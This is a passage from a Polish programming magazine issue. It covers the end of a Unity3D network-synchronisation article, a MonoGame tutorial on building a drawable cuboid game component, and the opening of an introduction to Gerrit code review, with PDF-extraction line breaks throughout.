i = 0; i < stateCount; i++ ) {
if
( stateBuffer[ i ].Timestamp <= interpolationTime || i ==
stateCount - 1 ) {
playerState
startState = stateBuffer[ i ];
playerState
targetState = stateBuffer[ Mathf.Max( i - 1,
0 ) ];
double
length = targetState.Timestamp - startState.
Timestamp;
float
t = 0f;
if
( length > 0.0001 ) {
t = (
float
)( ( interpolationTime -
startState.Timestamp ) / length );
}
transform.position = Vector3.Lerp( startState.Position,
targetState.Position, t );
transform.rotation = Quaternion.Slerp(startState.
Rotation, targetState.Rotation, t);
return
;
}
}
}
else
{
double
extrapolationLength = (interpolationTime -
stateBuffer[0].Timestamp);
if
(extrapolationLength < 1 && stateCount > 1 ) {
UNITY3D – PROTOTYP GRY SIECIOWEJ
transform.position = stateBuffer[0].Position +
(((stateBuffer[0].Position - stateBuffer[1].Position) /
((
float
)stateBuffer[0].Timestamp - (
float
)stateBuffer[1].
Timestamp) ) * (
float
)extrapolationLength);
transform.rotation = stateBuffer[0].Rotation;
}
}
}
void
OnSerializeNetworkView( BitStream stream,
NetworkMessageInfo info ) {
if
( stream.isWriting ) {
Vector3 position = transform.position;
Quaternion rotation = transform.rotation;
stream.Serialize(
ref
position );
stream.Serialize(
ref
rotation );
}
else
{
Vector3 position = Vector3.zero;
Quaternion rotation = Quaternion.identity;
stream.Serialize(
ref
position );
stream.Serialize(
ref
rotation );
for
(
int
k=stateBuffer.Length-1;k>0;k--) {
stateBuffer[k] = stateBuffer[k-1];
}
stateBuffer[0] =
new
playerState
( position, rotation, info.
timestamp) ;
stateCount = Mathf.Min(stateCount + 1, stateBuffer.Length);
}
}
}
W sieci:
P Główna strona środowiska Unity3D:
P Skrypt do synchronizacji oraz interpolacji obiektów poprzez sieć z por-
talu unifycommunity:
http://wiki.unity3d.com/index.php/NetworkView_Position_Sync
P Książka pt. „Unity Multiplayer Games ”, autorstwa Alana R. Stagnera, w
całości poświęcona zagadnieniu tworzenia gier sieciowych w Unity3D:
http://www.packtpub.com/unity-multiplayer-games/book
Marek Sawerwain
Autor, pracownik naukowy Uniwersytetu Zielonogórskiego, na co dzień zajmuje się teorią
kwantowych języków programowania, ale także tworzeniem oprogramowania dla systemów
Windows oraz Linux. Zainteresowania: teoria języków programowania oraz dobra literatura.
PODSUMOWANIE
To nie koniec możliwości, jakie można i trzeba zastosować, aby poprawić ja-
kość gry w sieci. Kolejnym elementem, jaki należy przedstawić, jest tzw. syn-
chronizacja autorytatywna, oferująca kolejny sposób przekazywania danych
odnoszących się do poszczególnych graczy. W uproszczeniu polega to na
tym, iż dane o sterowaniu, np. wciśnięte klawisze, przesyłane są do serwera,
a dopiero serwer zleca klientowi realizację odpowiedniego ruchu. Naturalnie,
przydałby się lepszy przykład omawiający problemy obsługi sieci w Unity3D,
niekoniecznie musi to być gra typu FPS, ale np. wyścigi samochodowe. I po-
lepszeniem obsługi graczy sieciowych oraz wyścigami samochodowymi bę-
dziemy zajmować się w następnej cześć naszego artykułu.
reklama
38
/ 6
. 2014 . (25) /
PROGRAMOWANIE GIER
Jacek Matulewski
W
iele elementów gry można zamknąć w komponentach. W zasadzie
każdy większy fragment kodu, który jest wielokrotnie wykonywa-
ny, może być umieszczony w komponencie. Komponenty mogą
być „niewizualne”; dziedziczą wówczas z klasy
GameComponent. Przykładem
takiego komponentu może być obiekt kontrolujący zmieniany dynamicznie
podkład muzyczny lub komponent sterujący dialogiem postaci w grze RPG.
Takie komponenty posiadają metodę
Update, która po zarejestrowaniu kom-
ponentu jest automatycznie wywoływana z taką samą częstością, jak metoda
Update klasy gry Game1. Komponenty mogą także być wyposażone w meto-
dę
Draw. Powinny wówczas dziedziczyć po DrawableGameComponent.
W tym artykule przedstawię przykład komponentu „wizualnego”, którym
będzie zwykły prostopadłościan. Wybór tej bryły nie jest przypadkowy. Na pro-
stopadłościanie wygodnie będzie nam testować oświetlenie i teksturowanie.
Stwórzmy nowy projekt gry: uruchommy Visual Studio z MonoGame,
przyciśnijmy klawisze Ctrl+Shift+N, w oknie New Project przejdźmy do kate-
gorii MonoGame, zaznaczmy projekt MonoGame Windows OpenGL Project,
wpiszmy nazwę MojaDrugaGraMonoGame i kliknijmy OK. Jeżeli chcemy prze-
łączyć grę do trybu
Reach, możemy w konstruktorze Game1 umieścić pole-
cenie
GraphicsDevice.GraphicsProfile = GraphicsProfile.Reach;.
Następnie zajmijmy się przygotowaniem efektu. W tym celu w klasie
Game1 zdefiniujmy pole o nazwie efekt typu BasicEffect i w metodzie
Game1.Initialize zainicjujmy je, wpisując kod z Listingu 1.
Listing 1. Inicjacja efektu
protected
override
void
Initialize()
{
efekt =
new
BasicEffect
(graphics.GraphicsDevice);
efekt.VertexColorEnabled =
true
;
efekt.Projection =
Matrix
.CreatePerspective(
2.0f * graphics.GraphicsDevice.Viewport.AspectRatio,
2.0f,
1.0f,
10.0f);
efekt.View =
Matrix
.CreateLookAt(
new
Vector3
(0, 0, 2.5f),
new
Vector3
(0, 0, 0),
new
Vector3
(0, 1, 0));
efekt.World =
Matrix
.Identity;
base
.Initialize();
}
Następnie dodajmy do projektu komponent gry o nazwie
Prostopadlo-
scian. W XNA służył do tego odpowiedni szablon, jednak w MonoGame go
nie ma. Dlatego dodamy do projektu zwykłą klasę, a następnie przekształcimy
ją w komponent. Z menu Project wybieramy polecenie Add Class…, w oknie
Add New Item zaznaczmy pozycję Class, a w polu Name wpisujemy Prostopa-
dloscian.cs i klikamy przycisk Add. Po utworzeniu nowej klasy uzupełnijmy
przestrzenie nazw w jej pliku o te związane z MonoGame (Listing 2). Wskazu-
jemy też jej klasę bazową, tj.
DrawableGameComponent. W klasie Prosto-
padloscian definiujemy trzy pola. Jedno z nich to efekt typu BasicEffect.
Nie używamy ogólniejszej klasy
Effect, bo w dalszej części używać będzie-
my zdefiniowanej w
BasicEffect macierzy świata do określenia pozycji
prostopadłościanu na scenie. Pozostałe pola to referencja typu
Graphics-
Device, która jest argumentem niemal każdej ważnej metody MonoGame,
oraz bufor werteksów.
Listing 2. Klasa komponentu
using
System;
using
System.Collections.Generic;
using
System.Linq;
using
System.Text;
using
Microsoft.Xna.Framework;
using
Microsoft.Xna.Framework.Graphics;
using
Microsoft.Xna.Framework.Input;
namespace
MojaDrugaGraMonoGame
{
class
Prostopadloscian
:
DrawableGameComponent
{
GraphicsDevice
gd;
BasicEffect
efekt;
VertexBuffer
buforWerteksow;
}
}
W nowej klasie definiujemy także konstruktor przyjmujący sześć argumentów
(Listing 3). Jego argumenty
dx, dy i dz określają szerokość, wysokość i głębo-
kość prostopadłościanu. Aby wygodniej określać współrzędne wierzchołków,
dzielimy w konstruktorze trzy liczby przez dwa. W konstruktorze inicjujemy
także pole
gd i klonujemy efekt. Dzięki sklonowaniu komponent będzie dys-
ponował własnym, niezależnym od gry efektem. Następnie tworzymy lokalną
tablicę ośmiu punktów, które wykorzystywać będziemy do budowania wer-
teksów (zob. Rysunek 1). W konstruktorze zdefiniujmy także zmienne typu
Color określające trzy kolory dla trzech par powierzchni prostopadłościanu.
Przewodnik po MonoGame, część 2:
komponenty gry
Budowanie gry, nawet stosunkowo prostej, to spore wyzwanie dla programisty,
szczególnie jeżeli działa w pojedynkę, a liczba linii kodu ciągle rośnie. Bardzo łatwo
zgubić się w zawiłościach skomplikowanej logiki gry, obsługi poszczególnych jej
trybów czy interakcji graczy w grze wieloosobowej. Każdy programista wie, że aby
uniknąć utraty orientacji we własnym projekcie, powinien podzielić kod na klasy,
które będą realizować autonomiczne zadania i które łatwiej jest testować. Z klas
można budować większe całości bez konieczności kontrolowania niezliczonej liczby
zmiennych. To elementarz programowania obiektowego. W MonoGame poza kla-
sami mamy także do dyspozycji tzw. komponenty gry. Są to specjalne klasy, które
są odświeżane i rysowane automatycznie.
39
/ www.programistamag.pl /
PRZEWODNIK PO MONOGAME, CZĘŚĆ 2: KOMPONENTY GRY
Listing 3. Konstruktor komponentu
public
Prostopadloscian(
Game
game,
BasicEffect
efekt,
float
dx,
float
dy,
float
dz,
Color
? kolor)
:
base
(game)
{
dx /= 2;
dy /= 2;
dz /= 2;
gd = game.GraphicsDevice;
this
.efekt = (
BasicEffect
)efekt.Clone();
Vector3
[] punkty =
new
Vector3
[8]{
new
Vector3
(-dx, -dy, dz),
new
Vector3
(dx, -dy, dz),
new
Vector3
(dx, dy, dz),
new
Vector3
(-dx, dy, dz),
new
Vector3
(-dx, -dy, -dz),
new
Vector3
(dx, -dy, -dz),
new
Vector3
(dx, dy, -dz),
new
Vector3
(-dx, dy, -dz)
};
Color
kolor1 = kolor ??
Color
.Cyan;
Color
kolor2 = kolor ??
Color
.Magenta;
Color
kolor3 = kolor ??
Color
.Yellow;
}
Rysunek 1. Punkty, z których zbudowany będzie prostopadłościan
Teraz najbardziej żmudna część kodu konstruktora – definiowanie tablicy wertek-
sów (Listing 4). Musimy je zdefiniować w taki sposób, aby każda ściana była wy-
świetlana jako ciąg złożony z dwóch trójkątów, co nieco ograniczy liczbę werteksów
(zob. ramkę o buforze indeksów). Następnie całą tę tablicę kopiujemy do karty gra-
ficznej, korzystając z bufora werteksów. Kolejność werteksów jest ważna – powinny
być tak ułożone, żeby wszystkie trójkąty ustawione były przodem na zewnątrz bryły
(zob. omówienie nawijania w pierwszej części kursu – Programista 4/2014).
Uwaga o buforze indeksów
Większe oszczędności moglibyśmy uzyskać, korzystając z bufora indek-
sów. Moglibyśmy dzięki niemu uniknąć trójkrotnego powtórzenia wer-
teksów w każdym wierzchołku prostopadłościanu. Ale to pod warunkiem,
że te trzy werteksy byłyby rzeczywiście identyczne. Niestety w prostopa-
dłościanie mogą się one różnić kolorem, a w przyszłości także normalną
i współrzędnymi teksturowania. Nie chcę przez to powiedzieć, że bufor
indeksów jest mało przydatny – dobrze poznamy jego zalety przy okazji
budowania gładkich powierzchni w kolejnych odcinkach kursu.
Listing 4. Fragment konstruktora odpowiedzialny za definiowanie
werteksów
VertexPositionColor
[] werteksy =
new
VertexPositionColor
[24]
{
//przednia sciana
new
VertexPositionColor
(punkty[3], kolor1),
new
VertexPositionColor
(punkty[2], kolor1),
new
VertexPositionColor
(punkty[0], kolor1),
new
VertexPositionColor
(punkty[1], kolor1),
//tylnia sciana
new
VertexPositionColor
(punkty[7], kolor1),
new
VertexPositionColor
(punkty[4], kolor1),
new
VertexPositionColor
(punkty[6], kolor1),
new
VertexPositionColor
(punkty[5], kolor1),
//gorna sciana
new
VertexPositionColor
(punkty[3], kolor2),
new
VertexPositionColor
(punkty[7], kolor2),
new
VertexPositionColor
(punkty[2], kolor2),
new
VertexPositionColor
(punkty[6], kolor2),
//dolna sciana
new
VertexPositionColor
(punkty[0], kolor2),
new
VertexPositionColor
(punkty[1], kolor2),
new
VertexPositionColor
(punkty[4], kolor2),
new
VertexPositionColor
(punkty[5], kolor2),
//lewa sciana
new
VertexPositionColor
(punkty[3], kolor3),
new
VertexPositionColor
(punkty[0], kolor3),
new
VertexPositionColor
(punkty[7], kolor3),
new
VertexPositionColor
(punkty[4], kolor3),
//prawa sciana
new
VertexPositionColor
(punkty[1], kolor3),
new
VertexPositionColor
(punkty[2], kolor3),
new
VertexPositionColor
(punkty[5], kolor3),
new
VertexPositionColor
(punkty[6], kolor3)
};
Dzięki interfejsowi
IVertexType formalnie rzecz ujmując, możliwe
jest przygotowanie sparametryzowanej wersji klasy
Prostopadlos-
cian<VertexType> : GameComponent where VertexType :
IVertexType. Jednak ponieważ inicjujemy werteksy wewnątrz tego kom-
ponentu, nadając im położenie i kolor, konieczne jest użycie konkretnego
typu werteksu. To niestety oznacza, że chcąc dodać do werteksu nowe
atrybuty, będziemy musieli zmienić jego typ.
Klasa
DrawableGameComponent, której użyliśmy jako klasy bazowej kompo-
nentu
Prostopadloscian, dziedziczy po klasie GameComponent. Ta klasa
implementuje interfejs
IUpdateable, który wymusza obecność metody Up-
date. A ponieważ jest ona zdefiniowana już w klasie GameComponent, nie
ma w zasadzie konieczności nadpisywania jej w klasie potomnej, tj. w klasie
naszego komponentu. Podobnie jest z klasą
DrawableGameComponent, któ-
ra rozszerza klasę
GameComponent, implementując jednocześnie interfejs
IDrawable, co zmuszą ją do posiadania metody Draw. Nam metoda Draw
będzie jednak potrzebna do wyświetlenia zdefiniowanych przed chwilą wer-
teksów. Dlatego nadpisujemy ją w klasie
Prostopadloscian (Listing 5).
Listing 5. Nadpisana metoda Draw komponentu
public
override
void
Draw(
GameTime
gameTime)
{
gd.SetVertexBuffer(buforWerteksow);
foreach
(
EffectPass
pass
in
efekt.CurrentTechnique.Passes)
{
pass.Apply();
for
(
int
i = 0; i < 6; ++i)
gd.DrawPrimitives(
PrimitiveType
.TriangleStrip, 4 * i, 2);
}
base
.Draw(gameTime);
}
To dobry moment, aby sprawdzić, jak działa nasz komponent. W tym celu mu-
simy utworzyć instancję klasy
Prostopadloscian i zarejestrować ją w klasie
gry, czyli dodać ją do listy komponentów w kolekcji
Game1.Components.
Wracamy zatem do edycji klasy
Game1 (plik Game1.cs), definiujemy w niej
pole
prostopadloscian typu Prostopadloscian, inicjujemy je w meto-
dzie
Initialize, tworząc obiekt tej klasy, i dodajemy go do listy komponen-
tów gry (Listing 6). Ostatni argument w konstruktorze komponentu ustalamy
jako równy
null. To oznacza, że użyjemy predefiniowanych kolorów, które
ułatwią nam dostrzeżenie głębi pomimo braku oświetlenia. Oczywiście pustą
wartość
null możemy zastąpić np. przez Color.White. Wówczas utworzy-
my biały prostopadłościan.
40
/ 6
. 2014 . (25) /
PROGRAMOWANIE GIER
Listing 6. Tworzenie i rejestrowanie komponentu w klasie gry
protected
override
void
Initialize()
{
efekt =
new
BasicEffect
(graphics.GraphicsDevice);
...
efekt.World =
Matrix
.Identity;
prostopadloscian =
new
Prostopadloscian
(
this
, efekt, 1.5f, 1.0f,
2.0f,
null
);
this
.Components.Add(prostopadloscian);
base
.Initialize();
}
Po uruchomieniu gry, efekt, jaki zobaczymy na ekranie, będzie jeszcze niezbyt
widowiskowy. Ponieważ macierz świata jest jednostkowa, prostopadłościan
jest ustawiony do nas jedną ścianą (Rysunek 2). Warto byłoby zatem umożli-
wić dowolne ustawienie prostopadłościanu na scenie. To wymaga dostępu do
macierzy świata efektu sklonowanego w komponencie. Najprostsze i chyba
najbardziej eleganckie będzie zdefiniowanie w klasie
Prostopadloscian
własności udostępniającej tę macierz (Listing 7).
Listing 7. Zdefiniowana w komponencie własność udostępniająca
macierz świata
public
Matrix
MacierzSwiata
{
get
{
return
efekt.World;
}
set
{
efekt.World =
value
;
}
}
Rysunek 2. Prostopadłościan w domyślnym ustawieniu na scenie
Wykorzystując tę własność, możemy sterować orientacją prostopadłościanu
np. za pomocą klawiszy. Wystarczy do metody
Game1.Update dodać polece-
nia widoczne na Listingu 8. Oczywiście, jeżeli z jakiegoś powodu udostępnia-
nie macierzy świata nam nie odpowiada, możemy sprawdzić stan klawiatury
w klasie komponentu, w jego metodzie
Prostopadloscian.Update, i z jej
poziomu modyfikować obiekt
efekt.World (Rysunek 3).
Listing 8. Sterowanie orientacją komponentu. Metoda Update klasy
Game1
protected
override
void
Update(
GameTime
gameTime)
{
if
(
GamePad
.GetState(
PlayerIndex
.One).Buttons.Back ==
ButtonState
.Pressed ||
Keyboard
.GetState().IsKeyDown(
Keys
.Escape))
Exit();
float
katObrotu = 0.01f;
KeyboardState
stanKlawiatury =
Keyboard
.GetState();
if
(stanKlawiatury.IsKeyDown(
Keys
.LeftShift) ||
stanKlawiatury.IsKeyDown(
Keys
.RightShift))
katObrotu *= 10;
if
(stanKlawiatury.IsKeyDown(
Keys
.Left))
prostopadloscian.MacierzSwiata *=
Matrix
.CreateRotationY(katObrotu);
if
(stanKlawiatury.IsKeyDown(
Keys
.Right))
prostopadloscian.MacierzSwiata *=
Matrix
.CreateRotationY(-katObrotu);
if
(stanKlawiatury.IsKeyDown(
Keys
.Up))
prostopadloscian.MacierzSwiata *=
Matrix
.CreateRotationX(katObrotu);
if
(stanKlawiatury.IsKeyDown(
Keys
.Down))
prostopadloscian.MacierzSwiata *=
Matrix
.CreateRotationX(-katObrotu);
if
(stanKlawiatury.IsKeyDown(
Keys
.OemPeriod))
prostopadloscian.MacierzSwiata *=
Matrix
.CreateRotationZ(katObrotu);
if
(stanKlawiatury.IsKeyDown(
Keys
.OemComma))
prostopadloscian.MacierzSwiata *=
Matrix
.CreateRotationZ(-katObrotu);
base
.Update(gameTime);
}
Rysunek 3. Kolorowanie ścian kompensuje brak oświetlenia
Powielenie prostopadłościanu na scenie byłoby dowodem na dobrą izolację
klasy komponentu i jej prawidłowe działanie. Zdefiniujmy wobec tego w kla-
sie
Game1 drugą referencję typu Prostopadloscian i zainicjujmy ją w meto-
dzie
Game1.Initialize. Do obracania drugiej bryły przeznaczmy klawisze
W, S, A, D (Listing 9). Po uruchomieniu zobaczymy dwa prostopadłościany,
którymi możemy niezależnie obracać (Rysunek 4).
Rysunek 4. Dwa niezależne komponenty
Wyjaśnienia wymagają operacje przesunięcia, jakim poddajemy macierz
świata. Dzięki nim prostopadłościany obracane są nie według wspólnego
środka (środka układu sceny), a wokół własnych środków (zob. artykuł „Macie-
rze w grafice 3D” w poprzednim numerze).
Stworzony w tym krótkim artykule komponent prostopadłościanu będzie
naszym modelem w kolejnych częściach kursu. W następnej części przetestu-
jemy na nim oświetlenie i teksturowanie. Będziemy go także używać podczas
testów silnika fizyki, który dodamy do projektu.
41
/ www.programistamag.pl /
PRZEWODNIK PO MONOGAME, CZĘŚĆ 2: KOMPONENTY GRY
Listing 9. Tworzenie i kontrola orientacji drugiego komponentu
public
class
Game1
:
Game
{
GraphicsDeviceManager
graphics;
SpriteBatch
spriteBatch;
BasicEffect
efekt;
Prostopadloscian
prostopadloscian, prostopadloscian2;
float
rozsuniecie = 2f;
...
protected
override
void
Initialize()
{
efekt =
new
BasicEffect
(graphics.GraphicsDevice);
...
efekt.World =
Matrix
.Identity;
prostopadloscian =
new
Prostopadloscian
(
this
, efekt, 1.5f, 1.0f, 2.0f,
null
);
prostopadloscian.MacierzSwiata *=
Matrix
.CreateScale(0.75f) *
Matrix
.CreateTranslation(
new
Vector3
(-rozsuniecie/2, 0, 0));
this
.Components.Add(prostopadloscian);
prostopadloscian2 =
new
Prostopadloscian
(
this
, efekt, 1.5f, 1.0f, 2.0f,
null
);
prostopadloscian2.MacierzSwiata *=
Matrix
.CreateScale(0.75f) *
Matrix
.CreateTranslation(
new
Vector3
(rozsuniecie/2, 0, 0));
this
.Components.Add(prostopadloscian2);
base
.Initialize();
}
...
protected
override
void
Update(
GameTime
gameTime)
{
...
float
katObrotu = 0.01f;
KeyboardState
stanKlawiatury =
Keyboard
.GetState();
if
(stanKlawiatury.IsKeyDown(
Keys
.LeftShift) ||
stanKlawiatury.IsKeyDown(
Keys
.RightShift)) katObrotu *= 10;
if
(stanKlawiatury.GetPressedKeys().Length>0)
{
prostopadloscian.MacierzSwiata *=
Matrix
.CreateTranslation(
new
Vector3
(rozsuniecie/2, 0, 0));
prostopadloscian2.MacierzSwiata *=
Matrix
.CreateTranslation(
new
Vector3
(-rozsuniecie/2, 0, 0));
}
if
(stanKlawiatury.IsKeyDown(
Keys
.Left)) prostopadloscian.MacierzSwiata *=
Matrix
.CreateRotationY(katObrotu);
if
(stanKlawiatury.IsKeyDown(
Keys
.Right)) prostopadloscian.MacierzSwiata *=
Matrix
.CreateRotationY(-katObrotu);
if
(stanKlawiatury.IsKeyDown(
Keys
.Up)) prostopadloscian.MacierzSwiata *=
Matrix
.CreateRotationX(katObrotu);
if
(stanKlawiatury.IsKeyDown(
Keys
.Down)) prostopadloscian.MacierzSwiata *=
Matrix
.CreateRotationX(-katObrotu);
if
(stanKlawiatury.IsKeyDown(
Keys
.OemPeriod)) prostopadloscian.MacierzSwiata *=
Matrix
.CreateRotationZ(katObrotu);
if
(stanKlawiatury.IsKeyDown(
Keys
.OemComma)) prostopadloscian.MacierzSwiata *=
Matrix
.CreateRotationZ(-katObrotu);
if
(stanKlawiatury.IsKeyDown(
Keys
.A)) prostopadloscian2.MacierzSwiata *=
Matrix
.CreateRotationY(katObrotu);
if
(stanKlawiatury.IsKeyDown(
Keys
.D)) prostopadloscian2.MacierzSwiata *=
Matrix
.CreateRotationY(-katObrotu);
if
(stanKlawiatury.IsKeyDown(
Keys
.W)) prostopadloscian2.MacierzSwiata *=
Matrix
.CreateRotationX(katObrotu);
if
(stanKlawiatury.IsKeyDown(
Keys
.S)) prostopadloscian2.MacierzSwiata *=
Matrix
.CreateRotationX(-katObrotu);
if
(stanKlawiatury.IsKeyDown(
Keys
.Q)) prostopadloscian2.MacierzSwiata *=
Matrix
.CreateRotationZ(katObrotu);
if
(stanKlawiatury.IsKeyDown(
Keys
.E)) prostopadloscian2.MacierzSwiata *=
Matrix
.CreateRotationZ(-katObrotu);
if
(stanKlawiatury.GetPressedKeys().Length > 0)
{
prostopadloscian.MacierzSwiata *=
Matrix
.CreateTranslation(
new
Vector3
(-rozsuniecie / 2, 0, 0));
prostopadloscian2.MacierzSwiata *=
Matrix
.CreateTranslation(
new
Vector3
(rozsuniecie / 2, 0, 0));
}
base
.Update(gameTime);
}
...
}
Jacek Matulewski
Fizyk zajmujący się na co dzień optyką kwantową i układami nieuporządkowanymi na Wydziale
Fizyki, Astronomii i Informatyki Stosowanej UMK w Toruniu. Od 1998 r. interesuje się programo-
waniem dla systemu Windows, w szczególności platformą .NET i językiem C#. Autor serii książek
poświęconych programowaniu. Większość ukazała się nakładem wydawnictwa Helion. Wierny
użytkownik kupionego w połowie lat osiemdziesiątych "komputera osobistego" ZX Spectrum 48k.
ZADANIE
Przygotuj komponent o nazwie
GameScene dziedziczą-
cy z
DrawableGameComponent, który na wzór klasy gry
Game wyposażony będzie w listę komponentów Compo-
nents i który ułatwi zarządzanie „ekranami” w grze. Kom-
ponent-pojemnik powinien wywoływać metodę
Update
każdego z komponentów w swojej metodzie
Update,
a metodę
Draw – w swojej metodzie Draw. W efekcie
komponenty zarejestrowane w instancji
GameScene
będą odświeżane, jeżeli własność
Enabled instancji Ga-
meScene będzie ustawiona na true, a rysowane, jeżeli
równa prawdziwości będzie własność
Visible. Ponadto
zdefiniuj menedżera ekranów, który nie będzie kompo-
nentem i odpowiadać będzie tylko za zmianę aktywnego
ekranu, tzn. będzie rejestrował lub usuwał instancje klasy
GameScene w liście komponentów gry.
Do komponentu
GameScene dodaj zdarzenie, które
pozwoli wykonać kod zdefiniowany w metodzie zdarze-
niowej w pętli efektu. Do metody zdarzeniowej prześlij
efekt, aktualną instancję
GraphicDevice i instancję Ef-
fectPass z bieżącej iteracji pętli. Dodaj również zdarzenia
Updated i Drawed pozwalające na wykonanie dowolnego
kodu po odświeżeniu i narysowaniu komponentów sceny.
Podobnie, jak w przypadku pierwszej części, nagrodą za
szybkie rozwiązanie zadania będzie 3 miesięczna prenume-
rata elektroniczna dla pierwszych dwóch osób, które prześlą
kod źródłowy na adres redakcja@programistamag.pl
42
/ 6
. 2014 . (25) /
TESTOWANIE I ZARZĄDZANIE JAKOŚCIĄ
Wojciech Frącz
WPROWADZENIE
Uzyskanie wysokiej jakości kodu źródłowego jest obecnie jednym z najważ-
niejszych wyzwań inżynierii oprogramowania. Czytelny i zrozumiały kod po-
zwala na szybkie wykrycie i naprawienie błędów oraz umożliwia łatwe i bez-
pieczne wprowadzanie modyfikacji. Jak więc możemy zapewnić, by koszty
utrzymania systemu nie rosły wraz z jego rozbudową?
Poza programowaniem sterowanym testami (TDD), które pomaga w za-
pewnieniu niezawodności kodu, bardzo pomocną praktyką okazują się prze-
glądy kodu źródłowego. Oprócz weryfikacji poprawności działania tworzone-
go oprogramowania można zakładać, że kod, który został sprawdzony, jest
także czytelny i zrozumiały. To bezpośrednio wpływa na koszty jego utrzyma-
nia, zarządzania oraz pozwala na ograniczenie ryzyka wynikającego z ewen-
tualnej utraty kluczowych programistów.
Jak wykonywać przeglądy kodu, aby proces nie utrudniał i nie spowalniał
codziennej pracy? W tym artykule przedstawiono wprowadzenie do jednego
z najpopularniejszych obecnie narzędzi wspierających tę praktykę – Gerrit.
W artykule przeglądy kodu są nazywane także jako code review lub w skrócie
CR. Mianem reviewera lub recenzenta nazywana jest osoba wykonująca przegląd
kodu ze względu na brak odpowiedniego słowa na tę rolę w języku polskim. Ser-
wer ciągłej integracji czasem opisywany jest jako serwer CI (Continuous Integration).
CZY POTRZEBNE NAM JEST KOLEJNE
NARZĘDZIE?
Nieodłącznym narzędziem przy procesie przeprowadzania przeglądów kodu w
zespole programistów jest system kontroli wersji. Pozwala on na śledzenie zmian
tak, aby żaden nowy element nie umknął uwadze osób sprawdzających kod.
SVN
Jeszcze kilka lat temu dominującym systemem kontroli wersji był SVN. W naj-
prostszym podejściu kod wgrywało się do trunka, gdzie był budowany przez
serwer ciągłej integracji. W przypadku porażki w gałęzi repozytorium znajdo-
wał się niestabilny kod. Każdy, kto pobrał go w nieodpowiednim momencie,
musiał czekać na jego naprawienie, co wstrzymywało jego pracę. Gdy w koń-
cu kolejna poprawka do danej zmiany została zweryfikowana przez serwer CI,
mógł on zostać sprawdzony przy code review. Ewentualne uwagi były nano-
szone znów w kolejnym commicie. Historia zmian bardzo często wyglądała
tak jak na Rysunku 1.
Rysunek 1. Historia zmian zaśmiecona kolejnymi poprawkami
Alternatywą do tego podejścia, oprócz pracy na branchach SVN, może
być przesyłanie między autorem kodu a reviewerem patchy ze zmianami, bez
wgrywania ich do repozytorium przed ich zaakceptowaniem. Nie ma wątpli-
wości, że takie rozwiązanie jest dalekie od wygodnego.
Git
Dzięki możliwości tworzenia lekkich topic branches w Git możliwa stała się pra-
ca na osobnych gałęziach kodu w zależności od realizowanego zadania. To roz-
wiązało problem niestabilnego kodu w trunk (tutaj: master). Niestety, nadal po
zakończonym zadaniu historia zmian wyglądała podobnie – wiele commitów z
poprawkami do poprawek przy nieudanych weryfikacjach przez CI lub przy CR.
Git teoretycznie pozwala na zmianę wykonanego już commita za pomocą ko-
mendy
git commit --amend. Każda taka zmiana wymusza potem jednak prze-
słanie jej na odległy serwer komendą
git push --force, co z kolei jest proble-
matyczne dla innych osób, posiadających przestarzałą, niezmodyfikowaną historię.
Technika ta więc niesie ze sobą kilka trudności w pracy w większych zespołach.
Problem w dużej mierze rozwiązuje popularna ostatnio technika pull re-
quest – czyli żądania wprowadzenia zmian do danej gałęzi kodu. Jest stoso-
wana między innymi w serwisach GitHub oraz BitBucket. Po odrzuceniu pull
request przez recenzenta można przygotować następny, uwzględniający
przekazane uwagi. Zapobiega zaśmiecaniu historii zmian – do kodu zostaje
wdrożony wyłącznie ostatni pull request, zawierający zaakceptowany kod.
Reviewer jednak nie ma możliwości porównania zmian między jednym pull
request a drugim, co skutkuje sprawdzaniem tego samego kodu po kilka razy.
Nie wiadomo też, kto odpowiedzialny jest za przejrzenie dołączanego kodu.
CO NA TO GERRIT?
Systemy kontroli wersji nie były tworzone z myślą o code review – przynajmniej
nie jako ich główna funkcjonalność. Dlatego z pomocą przychodzą nam narzę-
dzia ułatwiające przeprowadzanie tego procesu. Jednym z nich jest Gerrit.
Gerrit jest aplikacją on-line opakowującą repozytoria Git (zob. Rysunek 2).
Komunikacja z nią jest oparta o protokół Git, dlatego na maszynach develo-
perów nie jest konieczne żadne dodatkowe oprogramowanie. Jego zadaniem
jest przede wszystkim ułatwienie wykonywania przeglądów i zapewnienie,
że każdy nowy fragment kodu został sprawdzony przed wdrożeniem go do
wersji produkcyjnej systemu. Oprócz tego wzbogaca on repozytoria Git o
kontrolę dostępu przy wykonywaniu operacji takich jak fetch, pull czy push.
Rysunek 2. Ogólny schemat działania przy pracy z Gerritem
Gerrit Code Review
Przeglądy kodu źródłowego są popularną techniką umożliwiającą zapewnienie
wysokiej jakości kodu źródłowego. Czy warto ją stosować? Co dają nam przeglądy
kodu i jak je wykonywać, by były one efektywne? W tym artykule opisano podejście
do tej praktyki prezentowane przez Gerrita – coraz popularniejszej aplikacji uła-
twiającej przeprowadzanie przeglądów kodu źródłowego.
GERRIT CODE REVIEW
Proces
Praca z repozytorium pod kontrolą Gerrita zaczyna się tak samo jak w przy-
padku Git – należy pobrać najnowsze zmiany z gałęzi master komendą
git
clone lub git pull (oczywiście, Gerrit wspiera pracę nad kilkoma projekta-
mi i kilkoma branchami – zakładamy tutaj najprostszy przypadek). Stan repo-
zytorium przedstawiony jest na Rysunku 3 – wykonana została operacja #1.
W ramach realizacji przydzielonego zadania został stworzony commit (#2).
Wszystko wydaje się być w porządku, więc przesyłany on jest do Gerrita (#3) –
do specjalnej gałęzi refs/for/master. Jest to miejsce, w którym wykonane zmia-
ny czekają na zatwierdzenie przez reviewera (zwane dalej poczekalnią) i na
dołączenie do gałęzi master repozytorium. Każda gałąź kodu posiada swoją
poczekalnię o nazwie refs/for/nazwa_gałęzi.
Rysunek 3. Wykonywanie i poprawianie zmian w kodzie przy użyciu Gerrit
Change-Id vs. Commit-Id
Gerrit przy przesyłaniu nowego commita sprawdza, czy jest on już mu zna-
ny, i jeśli nie – uznaje go za nową zmianę (Change) w projekcie. Zostaje jej
przypisany indywidualny numer (Change number), pod którym będzie ona
dostępna w aplikacji, aby można było wykonać przegląd kodu.
W jaki sposób Gerrit rozpoznaje, czy dany commit przesyłany do repo-
zytorium jest nowy? W Git commity rozpoznawane są po 40-znakowych ha-
shach, zwanych także jako Commit Id. Przy pracy z Gerritem każdy commit
opatrzony jest dodatkowo innym hashem, zwanym Change-Id. Jest on gene-
rowany za pomocą automatycznego hooka przy wykonywaniu operacji
git
commit (#2). Change-Id zapisywany jest w opisie danego commita, w stopce.
Jeżeli więc jako opis podamy
[BUG-456] Fixed bug, to „prawdziwy” opis
tego commita może wyglądać następująco:
[BUG-456] Fixed bug
